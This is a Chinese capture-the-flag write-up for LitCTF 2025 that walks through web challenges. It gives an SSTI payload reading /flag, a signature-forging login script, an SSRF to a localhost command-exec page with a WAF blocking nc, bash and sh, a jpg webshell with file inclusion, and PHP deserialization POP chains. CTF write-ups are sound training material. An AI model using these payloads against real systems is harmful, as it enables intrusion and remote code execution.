LitCTF2025 复现wp
[LitCTF 2025]复现wp
当时简单看了两眼就没做了,比赛结束之后看着大佬的wp复现一下
星愿信箱
一个简单的ssti,{{}}被过滤了,用{%%}做即可,payload:
{%print(url_for.__globals__.os.popen('tac /flag').read())%}
nest_js
弱密码,用burp爆破出来admin/password
easy_signin
登录界面源码
const loginBtn = document.getElementById('loginBtn');
const passwordInput = document.getElementById('password');
const errorTip = document.getElementById('errorTip');
const rawUsername = document.getElementById('username').value;
loginBtn.addEventListener('click', async () => {
const rawPassword = passwordInput.value.trim();
if (!rawPassword) {
errorTip.textContent = '请输入密码';
errorTip.classList.add('show');
passwordInput.focus();
return;
}
const md5Username = CryptoJS.MD5(rawUsername).toString();
const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6);
const shortMd5Pass = md5Password.slice(0, 6);
const timestamp = Date.now().toString(); //五分钟
const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try {
const response = await fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
},
body: new URLSearchParams({
username: md5Username,
password: md5Password,
timestamp: timestamp
})
});
const result = await response.json();
if (result.code === 200) {
alert('登录成功!');
window.location.href = 'dashboard.php';
} else {
errorTip.textContent = result.msg;
errorTip.classList.add('show');
passwordInput.value = '';
passwordInput.focus();
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
} catch (error) {
errorTip.textContent = '网络请求失败';
errorTip.classList.add('show');
setTimeout(() => errorTip.classList.remove('show'), 3000);
}
});
passwordInput.addEventListener('input', () => {
errorTip.classList.remove('show');
});
代码给了sign的生成逻辑,可以利用这个创建一个账号,脚本:
import requests
import time
import hashlib
def md5(text):
return hashlib.md5(text.encode('utf-8')).hexdigest()
#基本数据
raw_usernamne = 'fSEDFSEDF'
raw_password = 'dsfSFwaefr'
secretKey = 'easy_signin'
timestamp = str(int(time.time()*1000))
print('timestamp:', timestamp)
#计算md5值
md5user = md5(raw_usernamne)
print('md5user:',md5user)
md5pass = md5(raw_password)
print('md5pass:',md5pass)
#取md5值前六位用于计算sign
short_md5_user = md5user[:6]
short_md5_pass = md5pass[:6]
#计算sign的值
sign = md5(short_md5_user + short_md5_pass + timestamp + secretKey)
print('sign:',sign)
url = 'http://node6.anna.nssctf.cn:26087/login.php'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Sign': sign
}
data = {
'username': md5user,
'password': md5pass,
'timestamp': timestamp
}
r = requests.post(url, headers=headers, data=data)
print(r.text)
print(r.headers)
不过不知道为什么这里user和password只能是admin/password,用其他的显示账号错误,然后抓包改X-Sign、timestamp、username和password即可登录
登陆之后给了/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php,发现显示非本地用户,抓包加X-Forwarded-For不行,不知道为什么,用dirsearch扫到有个api.js,访问发现给了一个/api/sys/urlcode.php?url=,可以利用这个打ssrf:
/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php
源码
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);
$name="waf";
$name = $_GET['name'];
if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}
if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}
if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}
exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
echo("非本地用户");
}
?>
这里需要进行url二次编码,个人猜想可能是进行网页快照时进行了一次url解码,然后页面又解码一次,所以需要两次,这里可以用ls ..直接查看当前文件父目录或者从根目录一层层访问ls /var/www/html,回显

访问327a6c4304ad5938eaf0efb6cc3e53dc.php即可
ez_file
先看网页源代码,有个file查看头像,可能可以用来查看文件,在登录页面传参file没用
再看登录,试出来弱密码是admin/password,登录后发现是文件上传页面,把php、htaccess、.user.ini给ban了,上传jpg后缀的马,在这个界面试一下用file参数包含传的文件,可行
君の名は
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
分析源码,一开始用create_function创建了匿名函数,执行/readflag,那么目的就是调用这个匿名函数,问题就是怎么调用这个匿名函数
首先就是匿名函数的名字,这个直接输出一下就可以知道了
<?php
$a=create_function("", 'die(`/readflag`);');
var_dump($a);
/*输出
string(9) "\000lambda_1"
*/
那么怎么调用呢,有两个方法,第一个是直接用return,另外一个是在__call中利用ReflectionFunction的invoke方法
先看一下ReflectionFunction的invoke方法在php手册中的用法

然后是__call(\(func,\)args)的传参,
假如我们触发__call($func,$args)调用的函数是
flag($arg1,$arg2)
那么触发__call($func,$args)时$func就会被赋值为"flag";$args就会被赋值为flag()的参数构成的数组。所以要给$args赋值需要在flag()的参数里赋值。
<?php
error_reporting(0);
class Taki
{
public $musubi;
public $magic = 'invoke';
}
class Mitsuha
{
public $memory;
public $thread;
}
class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}
$a = new Taki();
$a -> musubi = new Mitsuha();
$a -> musubi -> thread = new KatawareDoki();
$a -> musubi -> thread -> soul = new Taki();
$arr = array('evil'=>$a);
$b = new ArrayObject($arr);
echo serialize($b);
直接用return调用
<?php
error_reporting(0);
class Taki
{
public $musubi = '\000lambda_1';
public $magic;
}
class Mitsuha
{
public $memory;
public $thread;
}
class KatawareDoki
{
public $soul;
public $kuchikamizake;
public $name;
}
$a = new Taki();
$arr = array('evil'=>$a);
$b = new ArrayObject($arr);
echo serialize($b);

浙公网安备 33010602011771号